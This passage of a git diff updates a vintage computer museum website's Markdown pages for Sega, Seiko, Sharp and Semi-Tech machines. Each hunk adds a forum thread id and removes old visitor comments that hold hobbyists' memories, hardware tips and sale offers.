(with Sonic Complimation) or £120 (with Mega Games 6). I have one and I think it is the best console I have ever had. - - author: ray (uk) - date: Wednesday 9th June 2004 - text: i like sega mega cd related: - /museum/sega-genesis - /museum/sega-genesis-2 diff --git a/content/museum/sega-mega-drive.md b/content/museum/sega-mega-drive.md index 1dcecca8..cde995ff 100644 --- a/content/museum/sega-mega-drive.md +++ b/content/museum/sega-mega-drive.md @@ -13,6 +13,7 @@ params: - emulators - links - videos + forum_thread: 1214 hardware: - title: THE ACTION CHAIR subtitle: '' @@ -102,10 +103,6 @@ params: - title: Sega Genesis TV commercial url: https://www.youtube.com/watch?v=Nd-tH9fKuOo text: 'Length: 30s' - comments: - - author: Anamyd Mailliw - date: Sunday 15th August 2021 - text: Watch out for very late revisions of the Mega Drive 1 (VA7). Like most Mega Drive 2s, they were made with significantly worse sound quality than most Mega Drive 1s. This was due to removing the physical YM2612 chip and embedding a YM3438 in the ASIC with the graphics and PSG, but without correcting the audio amplification circuit for the difference in output level / impedance. This can be rectified with a Crystal Clear Audio or MegaAmp audio mod or as part of the Triple Bypass video board. related: - /museum/sega-genesis - /museum/sega-genesis-2 diff --git a/content/museum/sega-nomad.md b/content/museum/sega-nomad.md index eca3dc2d..c79e2f1f 100644 --- a/content/museum/sega-nomad.md +++ b/content/museum/sega-nomad.md @@ -14,6 +14,7 @@ params: - emulators - links - videos + forum_thread: 1200 hardware: - title: THE ACTION CHAIR subtitle: '' @@ -103,24 +104,6 @@ params: - title: Sega Genesis TV commercial url: https://www.youtube.com/watch?v=Nd-tH9fKuOo text: 'Length: 30s' - comments: - - author: jaume de la vega (Catalonia (Spain)) - date: Wednesday 18th July 2012 - text: Got my Japanese Nomad from Japan... (yep, really), is labeled as a Genesis Nomad but the system board is Japanese region from origin (In Sonic 2, Tails becomes Miles, Streets of rage is ''bare knuckle''...) - - author: JodSUMO (Sheffield, UK) - date: Wednesday 15th February 2012 - text: The Nomad was never released in Japan as far as my own research suggests. I can find claims it was released, but I think these are mistakes. I''ve found no other evidence whatsoever for a ''Mega Drive Nomad''. Shame really, because I would rather have one than my ''Genesis Nomad''. - - author: Dr. Raptorheimer (U.S.A) - date: Monday 13rd September 2010 - text: The system with the WORST battery life ever. I tested one at my local game store, we slapped fresh batteries in it. It lasted for about a minute. - - author: Alexander Frankland (Canada) - date: Friday 2nd April 2010 - text: |- - this console did have alternative power. when i was in japan, i went to a retro video game shop that sold rechargeable battery packs for this console. according to the box (and i quote): "this pack will quadruple the life span of your nomad. see list in side for compatible games." - - the owner of the shop said that it was only compatible with the Japanese nomad, and on top of that, only 100 megadrive games. - - that must have suck for who ever owned one (that includes me). i hated spending $20 a month on batteries for the console. not to mention most of the games did not work! related: - /museum/sega-genesis - /museum/sega-genesis-2 diff --git a/content/museum/sega-saturn.md b/content/museum/sega-saturn.md index cc9c6481..510ef8f6 100644 --- a/content/museum/sega-saturn.md +++ b/content/museum/sega-saturn.md @@ -13,6 +13,7 @@ params: - emulators - links - videos + forum_thread: 1203 photos: - title: SEGA SATURN subtitle: '' @@ -101,31 +102,6 @@ params: - title: Saturn games clip url: http://video.google.com/googleplayer.swf?docId=-8558626711844726363&hl=fr text: 'Length: 3 min 33 s' - comments: - - author: Hazuki - date: Monday 30th March 2015 - text: In my eyes, the killer app for the Saturn was and will always be Dragon Force. It''s a bit pricey these days, but no where near the level of Panzer Dragoon Saga. It was also widely available back during the Saturn''s life cycle, unlike the limited release PDS got after the system was already declared dead in the western world. Dragon Force was a perfect example of the Saturn''s 2D prowess and remains one of the most $re$playable piece of software on it. Guardian Heroes comes close for many of the same reasons. - - author: snowkatt - date: Friday 3rd December 2010 - text: |- - panzer dragoon saga the killer ap for the saturn ?\ - your having a laiugh just the high price alone for that game wil turn many people off and the saturn has many more great games then just saga its more then just the console that has saga on it\ - such as panzer dragoon and panzer dragoon zwei\ - an amazing conversion of virtua fighter 2 fighting vipers daytona usa and daytona cce last bronx deep fear\ - a shining trilogy in shining wisdom shining the holy ark and shining force 3\ - it has arcade perfect conversions of virtua cop 1 and 2\ - it has resident evil and sega rally\ - the saturn is also a 2d power house with devinitve versions of games such as marvel super heroes street fighter alpha 1 2 and 3 xmen vs street fighter and street fighter vs marvel super heroes\ - not too mention nightwarriors and super puzzle fighter 2 and lets not forget nights which is totally unique - - panzer dragoon saga the killer app ? preposterous\ - great game it is the saturn has so much more to offer - - author: Dr. Raptorheimer (U.S.A) - date: Friday 10th September 2010 - text: Seeming as I am the only one who owns one I''ll explain a bit. The main problem with the Saturn is its complex architecture. For its day it had dual processors to try and compete with Sony and Nintendo''s upcoming PS1 and N64. It used off the shelf components which made it VERY hard to program for. Still it is a decent system. Tomb raider shows off some of its power and Panzer Dragoon Saga is the killer app for the Saturn. - - author: Raindance Rob (UK) - date: Sunday 1st August 2010 - text: although iv never owned one iv used quite a few $ it the only Sega console that i dislike, the graphics where abit of a let down imo. related: - /museum/samsung-saturn - /museum/victor-v-saturn diff --git a/content/museum/sega-sc-3000-sc-3000h.md b/content/museum/sega-sc-3000-sc-3000h.md index 76bd2911..88645279 100644 --- a/content/museum/sega-sc-3000-sc-3000h.md +++ b/content/museum/sega-sc-3000-sc-3000h.md @@ -68,6 +68,7 @@ params: - emulators - links - docs + forum_thread: 216 photos: - title: SEGA SC-3000 subtitle: '' @@ -248,69 +249,6 @@ params:  type of document : Online reader **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: david (australia) - date: Saturday 28th May 2022 - text: The Sega computer was sold in Australia by John Sands, a religious retailer of non-gambling card and board games. It was one of the main sellers, and was nipping at the heels of the Commodore 64 in sales in Chistmas ''84. Commodore and Amstrad were the main home computers at the time, the other manufacturers like Atari and Sinclair didn''t appear to have much interest in the Australian market. Sega got into a row with John Sands over the Master System, which they wanted Sands to sell, but they refused because it didn''t have any educational value. John Sands took them all the way to the High Court and won an injunction preventing Sega from selling the Master System - so Sega stopped the supply of SC-3000s to John Sands ! So, potentially the biggest computer in Australia basically withered away in 1986, leaving the entire market to Commodore... - - author: Graeme Simpson (New Zealand) - date: Monday 11th September 2017 - text: The SEGA 3000 was sold through Woolworths in New Zealand so everything was in English. - - author: Kurtis - date: Thursday 2nd February 2017 - text: As this was released in Japan am I correct in assuming that all games for this are in Japenese? - - author: Gabriele (Italy) - date: Thursday 8th March 2012 - text: ehm.. I mean ''schematics'', not ''scheme''... Sorry! $) - - author: Gabriele (Italy) - date: Thursday 8th March 2012 - text: |- - Hi there!\ - Do someone has a valid scheme (or port pinout) in order to let me create an RGB cable for the Yeno version of this wonderful machine? :)\ - I just got it from ebay, without any cable...\ - Thank you. - - author: Gorgane (Finland) - date: Wednesday 28th September 2011 - text: The power supply for these is 9V 1A center negative. Mega Drive/Master System model I have the same type and can be substituted, but beware of using the Master System II PSU as it only gives 500mA instead on 1000mA. Any cheap 3rd party brick will also work as long as the polarity is correct and it has enough power. Don''t try using European Nintendo PSU''s. They have the same plug, 850mA and 9V but they put out AC current instead of DC. - - author: Matthew Paul Argall (Australia) - date: Tuesday 14th December 2010 - text: I got one of these on eBay with no cords but a whole lot of "John Sands" cartridges (yes, including a BASIC cart). Managed to get it to work with some (I could be wrong, been a few months since then) Master System II leads, though I had trouble getting sound (maybe it''s the TV I''m using?). Hey, it''s a SEGA, and I love SEGA, so I can''t wait to get it set up properly! - - author: Darren (Australia) - date: Wednesday 15th September 2010 - text: |- - Hi All.\ - I have only recently aquired my first SEGA SC-3000 Machine.\ - It is Dead as a DoDo, and I am currently in the Process of Reviving it!\ - The internal Fuse was Dead!\ - The HeatSinked "LM 7805 5V Regulator IC" is Popped and Split open!!!\ - Have found the "Sega Sc-3000 Survivors" Site, but am interested in "Burglar Bill''s" Site, currently under construction.\ - You are welcome to contact me Bill!\ - Darren - - author: Burglar Bill (Adelaide, Australia) - date: Thursday 16th July 2009 - text: |- - missing power supplies is a common problem with these. I have 3 computers but only have 1 power supply! also I''ve bought a SR-1000 data recorder without a power supply. does anyone know what I can substitute for it? - - btw Great website Francesco. i visit it almost daily! - - author: Francesco De Simone (Italy) - date: Sunday 10th May 2009 - text: |- - Hi to everybody,\ - for the first birthday of the SEGA SC-3000 website, www.sc-3000.com, SiRioKD has developed the online java version of his SC3K emulator. So now you will be able to play SC-3000/SG-1000 titles directly online. But you will also be able to try SEGA BASIC Level III, and SEGA DISK Basic with SF-7000 emulation!\ - A download page has been implemented with many utilities developed by our survivors team.\ - Many news, so, have a look and enjOY!\ - Thanks to everybody for your support. - - author: WangBang (USA) - date: Monday 25th April 2005 - text: Champion Boxer and Star Jacker were the best. - - author: Alan Dodds (San Francisco, CA (But a Kiwi)) - date: Sunday 25th January 2004 - text: God I loved my SC3000 at the time. What a great machine. Had it between a ZX81 and C64. Think it was better then the C64 in retrospect, excellent BASIC. - - author: Michael Buchan (Perth, Australia) - date: Monday 7th July 2003 - text: A Regular 9 Volt, 1Amp power supply will work with the SC-3000. - - author: richard griffiths (australia) - date: Saturday 1st June 2002 - text: I have recently uncovered my old sega sc-3000 and wish too play some games on it, unfortunatly i have lost the powersupply and i was wondering if it would be possible for anyone to tell me if they know what type of powersupply it requires? software: - /software/007-james-bond - /software/bank-panic diff --git a/content/museum/sega-sg-1000-mark-ii.md b/content/museum/sega-sg-1000-mark-ii.md index 25ced1be..c55d8cf1 100644 --- a/content/museum/sega-sg-1000-mark-ii.md +++ b/content/museum/sega-sg-1000-mark-ii.md @@ -14,6 +14,7 @@ params: - emulators - links - videos + forum_thread: 1233 photos: - title: SG-1000 MARK II subtitle: '' diff --git a/content/museum/sega-sg-1000.md b/content/museum/sega-sg-1000.md index 064c8b53..ac90c645 100644 --- a/content/museum/sega-sg-1000.md +++ b/content/museum/sega-sg-1000.md @@ -13,6 +13,7 @@ params: - emulators - links - videos + forum_thread: 1224 photos: - title: SEGA SG-1000 subtitle: '' diff --git a/content/museum/sega-teradrive.md b/content/museum/sega-teradrive.md index a051d771..97da4e93 100644 --- a/content/museum/sega-teradrive.md +++ b/content/museum/sega-teradrive.md @@ -67,6 +67,7 @@ params: - software - links - videos + forum_thread: 512 photos: - title: MAIN UNIT subtitle: '' @@ -113,24 +114,6 @@ params: - title: Sega Teradrive - Japanese advert url: http://video.google.com/googleplayer.swf?docId=-4391346534753818861&hl=fr text: 'Length: 14 s' - comments: - - author: Tof - date: Saturday 22nd June 2019 - text: |- - Hello\ - Amstrad sold this type of computer too (in France for sure, rest of Europe I don''t know): Amstrad Mega-PC - - author: Linkman (TV commercial for Sega Terradrive) - date: Friday 3rd February 2006 - text: |- - You wanna see tv commercial of this sega ?\ - See this\ - http://www.youtube.com/?v=mGYN_H_kAD0 - - author: Trevor H. (USA) - date: Tuesday 30th April 2002 - text: It is said that this is a very reliable computer, I also remember hearing that it was pretty popular in Japan, it was never released in the US, it could use any accesories developed for the PC XT because it used the ISA standard, it ran a version of Windows, possibly 3.1, and MS-DOS - - author: dakota (kop) - date: Sunday 28th April 2002 - text: are you going to sell it oc_id: 518 source: url: https://web.archive.org/web/20230326085701/http://www.old-computers.com/museum/computer.asp?c=518 diff --git a/content/museum/sega-wondermega.md b/content/museum/sega-wondermega.md index 189fd1a9..8296fd7b 100644 --- a/content/museum/sega-wondermega.md +++ b/content/museum/sega-wondermega.md @@ -16,6 +16,7 @@ params: - emulators - links - videos + forum_thread: 1204 photos: - title: WONDERMEGA subtitle: '' diff --git a/content/museum/seiko-9100.md b/content/museum/seiko-9100.md index 0d214b03..601feb85 100644 --- a/content/museum/seiko-9100.md +++ b/content/museum/seiko-9100.md @@ -52,6 +52,7 @@ params: value: Unknown tabs: - photos + forum_thread: 873 photos: - title: MODEL 9100 subtitle: '' diff --git a/content/museum/seiko-9500.md b/content/museum/seiko-9500.md index bc0d36d3..37ef2e56 100644 --- a/content/museum/seiko-9500.md +++ b/content/museum/seiko-9500.md @@ -58,18 +58,12 @@ params: value: Unknown tabs: - photos + forum_thread: 874 photos: - title: MODEL 9500 subtitle: '' text: '' image: /media/museum/photos/seiko_9500.jpg - comments: - - author: kamino (Thailand) - date: Saturday 4th April 2020 - text: |- - http://www2u.biglobe.ne.jp/\~n-fuji/seiko.pdf - - If I believe this document on the Japanese website, the Seiko 9500 was launched in 1981 and the Seiko 9100 in 1983. oc_id: 894 source: url: https://web.archive.org/web/20230606204058/http://www.old-computers.com/museum/computer.asp?c=894 diff --git a/content/museum/seiko-mc-2200.md b/content/museum/seiko-mc-2200.md index 369e0bf2..58487a11 100644 --- a/content/museum/seiko-mc-2200.md +++ b/content/museum/seiko-mc-2200.md @@ -60,6 +60,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1099 photos: - title: LARGE VIEW subtitle: '' diff --git a/content/museum/selcom-lemon-ii.md b/content/museum/selcom-lemon-ii.md index 58fd8583..ce994420 100644 --- a/content/museum/selcom-lemon-ii.md +++ b/content/museum/selcom-lemon-ii.md @@ -64,6 +64,7 @@ params: tabs: - adverts - links + forum_thread: 1164 adverts: - title: ITALIAN ADVERT subtitle: '' @@ -80,16 +81,6 @@ params: - title: Apple II clones url: http://www.apple2clones.com text: Very interested website listing a lot of Apple II clones - comments: - - author: C - date: Thursday 12th April 2018 - text: The machine pictured is actually the "Biprocessor" revision - it allows the use of CP/M with the Apple DOS! However, the floppy format of the Apple II is not CP/M compatible so all software had to be converted to a specific format for Apple CP/M. - - author: Nomnomnom - date: Wednesday 27th June 2012 - text: My father used to have one. I played chess on it. - - author: Dave Witt (Canada) - date: Friday 2nd March 2012 - text: Somewhat of an unfortunate name... related: - /museum/polymax-maxxi oc_id: 1196 diff --git a/content/museum/semi-tech-stm-pc.md b/content/museum/semi-tech-stm-pc.md index 098b97a8..abf17888 100644 --- a/content/museum/semi-tech-stm-pc.md +++ b/content/museum/semi-tech-stm-pc.md @@ -50,6 +50,7 @@ params: value: '2 x double sided, double density, 96 TPI disk drives. Capacity of each: 1 MB unformatted, 800 KB formatted' - label: OS value: MS-DOS + forum_thread: 1311 oc_id: 1346 source: url: https://web.archive.org/web/20230413210019/http://www.old-computers.com/museum/computer.asp?c=1346 diff --git a/content/museum/semi-tech-stm-pied-piper.md b/content/museum/semi-tech-stm-pied-piper.md index 9dcef312..37ef74f9 100644 --- a/content/museum/semi-tech-stm-pied-piper.md +++ b/content/museum/semi-tech-stm-pied-piper.md @@ -65,6 +65,7 @@ params: tabs: - photos - adverts + forum_thread: 203 photos: - title: LARGE VIEW subtitle: '' @@ -161,119 +162,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/semitech_piedpiper_pub_s1.jpg - comments: - - author: Satoshi Otsuka (Japan) - date: Wednesday 1st May 2019 - text: I used to work for the company as a design engineer after Pied Pier almost completed design phase. I enjoyed creating new designs especially graphics part using discrete components for next generation projects since no LSI solutions were available at the time. good old day. - - author: Kenny Tam (Canada) - date: Saturday 4th February 2012 - text: |- - Would you believe I was one of the original designer of the Pipe Piper? I was hired by James Ting, the former CEO of Semi-Tech. I graduated from U of Toronto and was the only employee of Semi-Tech until sales order came in then all other key owners of the business joined full time. We opened up a factory in Hong Kong in 1983 to begin making the Pipe Piper.\ - If you look at the technology available today you can say this Pipe Piper would have been very inadequate. But at the time 64K of RAM and a 1MByte floppy was in the leading edge. A lot of excitement was created at the 1983 Los Vegas Comdex show. The original design philosophy was that the owner would take the Pipe Piper to and from the office and a monitor is available at home and one in the office. That was the niche we tried to home in on. The second generation of the Pipe Piper had a 2line LCD for those who may travel to some place other than home and the office so a small display is available.\ - In order to pass FCC radiation testing the casing had to be coated with a copper layer on top of the plastic. Then paint is applied over the copper. Paint adhesion problem was a major concern. For the early Pipe Pipers tarnished copper showing through the paint was a major after sale headache.\ - I am not trying to defend its design, but these are the thoughts that went behind the generations of design.\ - On a personal level the Pipe Piper taught me a lot about engineering and designing a product for the consumer market. I was then involved with how to manufacture it, how to market it, and how to service it. I was exposed to all these different aspects of a business. It made me a better engineer as a result. I still benefit from this experience even today. - - author: Espen Skog (Norway) - date: Saturday 29th August 2020 - text: |- - I am a fan of the Pied Piper and have been since 1983 when I first used it. I am wondering if there is an Emulator out there for the Pied Piper so I can re-live the good old days ? - - Please visit and join our Pied Piper Facebook Group to share: - - https://www.facebook.com/groups/therealpiedpiper - - /Espen Skog - - author: James Karafilis (Toronto area / Canada) - date: Wednesday 22nd July 2020 - text: |- - Nice to see fellow Semi-Tech developers sharing history. - - It has been a long time since I worked with Kenny at Semi-Tech in firmware development. The Pied Piper was the first computer project that I touched. The portable PC came next\ - and I was involved from the beginning. - - I also worked with Satoshi prototyping the graphics project with a Signetics chip set. I believe that was my summer job. - - d I was onboard since the start. - - I got to know the team at a summer job while at U of T. I believe the company was Andicom/Nabu. I hope I got these names right. - - Started with Pied Piper but the big project was its successor, a portable PC. - - author: Gerry (Canada) - date: Thursday 31st January 2019 - text: |- - Hi\ - I have a Pied Piper. Bought it as i was always travelling but only used it a few times. Still have the manuals and floppy disks. If anyone is interested in buying it, let me know. - - author: Frank Price (United States) - date: Friday 17th November 2017 - text: I still have one with allthe manuals. It has the high density floppy drives, the canvas carrying case and the video option for connection to standard televisions. I used it for work when traveling to write my reports in the motel at night. The TV option was wondeful. I did the reports in Word Star. Those were the days? - - author: alancsalt (Australia) - date: Sunday 21st June 2015 - text: Mine had 800k floppy drive. There was the option of a second one. At the time, more storage than anything else I could find. - - author: Simon Ransome (UK) - date: Friday 28th November 2014 - text: 'The Pied Piper was also (at least briefly) available in the UK, although so far I''''ve only seen a single advert for it. That advert appeared in October 1983''''s Personal Computer World: http://nosher.net/archives/computers/pcw_1983-10_010_piedpiper' - - author: Stein Monty (New Zealand) - date: Tuesday 9th April 2013 - text: I have a working Pied Piper with double disk drives in great condition and all the software and manuals to go with it (I backed up the floppies just in case), jealous much ? - - author: Stein Monty (New Zealand) - date: Tuesday 9th April 2013 - text: I have a working Pied Piper with double disk drives in great condition and all the software and manuals to go with it (I backed up the floppies just in case), jealous much ? - - author: Dale Launer (United States) - date: Monday 8th April 2013 - text: |- - I bought one of these back in the day (1983 I think) from The Federated Group - a hifi store in Los Angeles. It was kind of a bargain - and a whole megabyte on a disc was very impressive (other computers, like the IBM was a mere 360k). I bought it for one purpose and one purpose only - writing. I loved the macro set up of PerfectWriter - and have my current screenwriting program configured to emulate it. - - I wrote my first movie - Ruthless People - on my Pied Piper. Loved writing on a computer! - - I do remember the metallic finish underneath the paint (as the designer points out). And some of the metallic flaked off too. I ended up buying a few them because if it had problems (and it did!) I needed a backup. I couldn''t be without a computer as sometime you''re have to do rewrites for a movie in production (like write it that night). Was happy to move on (because of the reliability issue). - - I remember a screenplay had to be broken up into 4 files to accommodate the size. And they were .mss files if remember correctly. Ah...my first computer! - - author: George Good (usa) - date: Friday 26th October 2012 - text: Very interested in getting my Pied Piper running and being able to read some precious old files How do you contact other posters on this site? - - author: Robbie Fields (Thailand) - date: Sunday 20th May 2012 - text: |- - At the initial clearance price of $300, these machines were a terrific bargain in 1985. - - The Floppy could be formatted to 1.2mB and once you added the second external drive disk operations were a breeze. There just wasn''t the need to spend a fortune on a machine like the Osborne with a 10mB hard drive. - - The internal modem was a big step up, too, at 1200 baud. - - The WP software was great. I did things with the database program that astounded the CP/M users group I belonged to but the database was terribly fragile. I had used mine in a wholesale travel agency and returning a year later was shocked to see every desk installed with one. - - There was a CP/M air traffic control simulation game called "Airport" that I would leave running on the amber tinted monochrome monitor. Using only ASCII, it was highly convincing! - - Eventually I migrated to the so called "brain dead" 286 platform which served me well for many years. - - author: James Tamer (Greater Pasadena) - date: Thursday 2nd March 2006 - text: |- - Back in the early 1980s, there was a chain of stereo stores known as The Federated Group. They were known for a few things:\ - 1\. Shadoe Stevens as spokesman. He'd hit a VCR with a sledgehammer on the commercials.\ - 2\. The chain was bought by Atari, and after that devoted a lot of floor space to the Atari 65XE and the Mega ST computers.\ - 3\. The chain sold lots of weird and wonderful computers, including the Coleco Adam, the Tomy Tutor, the NEC Trek... and the Pied Piper. - - When the Pied Piper was introduced, Federated was selling them for more than $1000. Ouch. Last time I saw one, which was, I think, summer '85, Federated was trying to get rid of them for $100, bundled with the mentioned software. I wanted one, but I was totally broke at the time (having recently purchased a TV, Tomy Tutor, and Commodore 64 + 1541). - - author: Charles Steadman (New Zealand) - date: Thursday 27th October 2005 - text: I remember seriously considering these when we were searching for computers in the print industry. The half-height floppy was rare at that time, and the Pied Piper probably had the nicest touch-typing keyboard of any computer until the PC arrived. Unfortunately at the same show the Lisa was released, so this chap was rather overshadowed. A very nice straight CP/M machine though... - - author: Charles Martin (San Diego, CA ) - date: Friday 20th September 2002 - text: |- - I still have three of the old Pied Piper computers (two of them with add-on floppy) and they all still work. Two of them are in like new condition, so if anyone has a great need for there collection, I'll consider all serious offers. - - They were/are great computers and I think that the software was way ahead of its time for what they were capable of doing. I cut my teeth on Perfect Calc and designed my first mortgatge analysis program with Perfect Calc. Just wish I'd patented the software for MSDOS, but that was another platform at the time and you know....hindsite and all. - - author: Zachary Z Scott (Wa) - date: Saturday 20th July 2002 - text: |- - I had on the first real cool toy i pick up when i was five at a swap meet for $15 for the machine and all the software i sadly no longer have it as the machine's power supply toasted i wish i still had it\ - had to replace about have of the capactors on the main board whaen i first got i - - author: Paul Bauman (Earth) - date: Sunday 14th April 2002 - text: I have a Pied Piper and couldn't agree more about it's 'portability'. Apart from having a folding carrying handle, it is about as easy to set up as a Commodre 64. Mine does have a built-in modem--I don't know if this was standard or optional equipment, like the external second floppy drive. It all came in one shipping box with the software. - - author: kevin (Belgium) - date: Wednesday 27th March 2002 - text: Good verry good oc_id: 193 source: url: https://web.archive.org/web/20230608213119/http://www.old-computers.com/museum/computer.asp?c=193 diff --git a/content/museum/sharp-ax-286.md b/content/museum/sharp-ax-286.md index b8d74892..4f50c527 100644 --- a/content/museum/sharp-ax-286.md +++ b/content/museum/sharp-ax-286.md @@ -64,6 +64,7 @@ params: value: Unknown tabs: - links + forum_thread: 328 links: - title: Computer News archive url: http://www.computernews.com/scripts/bcn/vb_Bridge3.dll?VBPROG=ShowWeeklyArticle&MEM=0&Title=%83V%83%83%81%5B%83v%82%E0%83m%81%5B%83g%8C%5E%83p%83%5C%83R%83%93%82%C9%90i%8Fo&File=F:%5Cinetpub%5Cwwwroot%5Cbcn%5CWeekly%5CBCNarchive1%5C199005140262193827.htm diff --git a/content/museum/sharp-mz-2000.md b/content/museum/sharp-mz-2000.md index 473765ad..72e72e09 100644 --- a/content/museum/sharp-mz-2000.md +++ b/content/museum/sharp-mz-2000.md @@ -64,6 +64,7 @@ params: - software - emulators - links + forum_thread: 412 photos: - title: MZ-2000 subtitle: '' @@ -154,10 +155,6 @@ params: - title: www.sharpmz.org url: http://www.sharpmz.org text: THE website for all MZ fans !! - comments: - - author: renales - date: Monday 23rd March 2015 - text: i can offer this PC - 200 USD. related: - /museum/sharp-mz-2200 - /museum/sharp-mz-2500 diff --git a/content/museum/sharp-mz-2200.md b/content/museum/sharp-mz-2200.md index 9eb7bd79..94c8cdb3 100644 --- a/content/museum/sharp-mz-2200.md +++ b/content/museum/sharp-mz-2200.md @@ -67,6 +67,7 @@ params: - hardware - emulators - links + forum_thread: 762 photos: - title: COMPLETE MZ 2200 SYSTEM subtitle: '' diff --git a/content/museum/sharp-mz-2500.md b/content/museum/sharp-mz-2500.md index 7caf8593..d7111353 100644 --- a/content/museum/sharp-mz-2500.md +++ b/content/museum/sharp-mz-2500.md @@ -70,6 +70,7 @@ params: - emulators - links - videos + forum_thread: 413 photos: - title: CENTRAL UNIT subtitle: '' @@ -119,15 +120,6 @@ params: - title: Sharp MZ-2500 japanese commercial url: https://www.youtube.com/watch?v=gGGbbl0QHVo text: 'Length: 15 s' - comments: - - author: Inverse Phase (East Coast US) - date: Thursday 29th May 2014 - text: |- - Hi there, I noticed the sound for the MZ-2500 is incomplete. - - The MZ-2500 contains a YM2203 (OPN) which offers 3 each of PSG and FM channels. - - Hope this helps! related: - /museum/sharp-mz-2000 - /museum/sharp-mz-2200 diff --git a/content/museum/sharp-mz-2800.md b/content/museum/sharp-mz-2800.md index 2f201963..a9ab0c7b 100644 --- a/content/museum/sharp-mz-2800.md +++ b/content/museum/sharp-mz-2800.md @@ -62,6 +62,7 @@ params: - hardware - emulators - links + forum_thread: 414 hardware: - title: FRENCH FDD UNIT subtitle: '' @@ -94,10 +95,6 @@ params: - title: www.sharpmz.org url: http://www.sharpmz.org text: THE website for all MZ fans !! - comments: - - author: Mike - date: Sunday 21st August 2011 - text: Pocket?! related: - /museum/sharp-mz-2000 - /museum/sharp-mz-2200 diff --git a/content/museum/sharp-mz-3500.md b/content/museum/sharp-mz-3500.md index 13c1cc03..623f3aeb 100644 --- a/content/museum/sharp-mz-3500.md +++ b/content/museum/sharp-mz-3500.md @@ -66,6 +66,7 @@ params: - hardware - emulators - links + forum_thread: 302 photos: - title: CP/M 2.2 BOX subtitle: '' @@ -141,16 +142,6 @@ params: - title: www.sharpmz.org url: http://www.sharpmz.org text: THE website for all MZ fans !! - comments: - - author: Sparky (Australia) - date: Monday 23rd April 2012 - text: We still have one of these that is still being used in 2012!!! - - author: Ole Lunddahl ( ) - date: Saturday 5th November 2005 - text: This was second generation from Sharp on FDOS. I recall how impressed we were with how fast our financials software now ran. We used the basic. We were a small company with dozens of customers on the old model and this model, especially when they released it with harddisc, was sold to up to 100 customers (small businesses). Some of my collagues played with the CP/M which was cool but as we all know lost out to a poorer IBM-DOS... Using diskettes for production systems was interesting. I recall getting a call from a production baker at 2 am where it was clear the dust had settled on the floppy making it read/write with erros going into a loop... Very reliable machines and excellent finish. - - author: david Underhill (Australia) - date: Tuesday 9th November 2004 - text: In the late 1980's I worked for a company in Australiia that Gave away hundreds of the MZ-3500 in a deal that involved getting commisions from finance and insurance contracts written using our software. This computers were often still being used well into the 1990's .We also used pc-5000 & pc-7000 Sharp for the same program and deal. the software was 99.5% identical on all machines written in CBASIC from digital research and used ANSI control sequences for screen routines. related: - /museum/sharp-mz-2000 - /museum/sharp-mz-2200 diff --git a/content/museum/sharp-mz-40k.md b/content/museum/sharp-mz-40k.md index a1965686..3f1e7c88 100644 --- a/content/museum/sharp-mz-40k.md +++ b/content/museum/sharp-mz-40k.md @@ -46,6 +46,7 @@ params: - photos - software - links + forum_thread: 548 photos: - title: MOTHERBOARD subtitle: '' diff --git a/content/museum/sharp-mz-5500-5600.md b/content/museum/sharp-mz-5500-5600.md index 187b2c67..e5c728f3 100644 --- a/content/museum/sharp-mz-5500-5600.md +++ b/content/museum/sharp-mz-5500-5600.md @@ -59,6 +59,7 @@ params: - hardware - emulators - links + forum_thread: 303 photos: - title: A PHOTO OF THE MZ 5500 ADVERTISING IN A JAPANESE MAGAZINE subtitle: '' @@ -100,18 +101,6 @@ params: - title: www.sharpmz.org url: http://www.sharpmz.org text: THE website for all MZ fans !! - comments: - - author: ukl (germany) - date: Friday 18th July 2008 - text: hello, i have lot of service manuals from an former sharp employ - so if any one interested - pls contact me. - - author: Maximiliano Abad (Argentina) - date: Friday 6th August 2004 - text: |- - I have a Sharp MZ-5521K. Please i need Help about this product. I need Software, manuals. etc. ANY HELP.\ - The MZ5521k it´s original and excelents.\ - Thanks - - Hola, Mi nombre es Maximiliano Abad. Tengo una Sharp MZ-5521K en excelente estado y deseo conseguir toda la informacion posible respecto a ella... Software, Manuales... Drivers ... Lo que sea que sepan o tengan podria ayudarme a restaurarla. Desde ya muchas Gracias related: - /museum/sharp-mz-2000 - /museum/sharp-mz-2200 diff --git a/content/museum/sharp-mz-700.md b/content/museum/sharp-mz-700.md index 73e472ec..efd8408e 100644 --- a/content/museum/sharp-mz-700.md +++ b/content/museum/sharp-mz-700.md @@ -72,6 +72,7 @@ params: - emulators - links - docs + forum_thread: 102 photos: - title: FRONT VIEW subtitle: '' @@ -257,126 +258,6 @@ params:  compiled/archived by www.sharpmz.org\  type of document : PDF\  source : [www.sharpmz.org](http://www.sharpmz.org) - comments: - - author: Jonny (uk) - date: Thursday 30th June 2022 - text: The newspaper game for the MZ-700 was called Scoop and it was by Solo Software that wrote all of their commercial games in BASIC. - - author: '''''CABBIK'''' (England)' - date: Saturday 13rd January 2018 - text: |- - The MZ-721 was my follow-up to owning a highly modified ZX81 (or as it was better known as ''the Sinclair Beirut'' due the extreme cooling mods). - - Now this was very much a worthy sucessor to the 80 machines, carried all the best feature and added to it, had a decent keyboard and had a rarity feature (amongst home computers) of a fairly sharp drift free picture (the fact it, via RF modulator, had a high signal output helped no end, and if you had the pleasure of using it with a CV monitor, sharp as f\*ck). - - Sure, whilst there was a fair $ion of software (outside of the programming language cassettes), most never appeared in the UK via the sole supplier (Sharpsoft, in London). But, unlike many computers in the day, it came with a pretty comprehensive reference data set in the manual, so it acually encouraged you to tinker with assembly coding. In fact, my exam project for school was rapidly migrated from it''s assembler version developed on a ZX81 to the MZ721. - - Of course, accessories were like hen''s teeth, but because it came with such good documentation, it wasn''t rocket science to build your own controllers for gaming and other uses. - - I can remember how people laughed at the fact you had to load up Basic (or other interpreters), but it was no big deal - as a wise, older family friend passed on to me, all he did was start it loading, go make a cup of tea and by the time you carried it back to your desk, it was loaded ... - - Painless choice, for those who''s idea of home computing wasn''t spoon-fed endless commercial cassettes fair. Oh, i almost forgot - mine got overclocked as part of my experiments... to a massive (back in the day) 16 Mhz, but that did involve some serious modding to make it happen - it taught me the value of inherent limits and that heatsinks were essential parts of a modding tinker demon''s kit. - - author: Tom (Israel) - date: Sunday 23rd July 2017 - text: |- - Hi\ - As a young child we had a mz700 at home, today i enjoy loading the roms on my computer and see the difference between what i remember and how it is in reality :) - - Can anyone help, i remember a game that you needed to manage or control a newspaper company\ - I might be wrong here, I don''t think we really understand what it really was but that''s the best i can tell. - - I remember it was mostly text and white display. - - Does someone know what i am talking about ? or something similar to that - 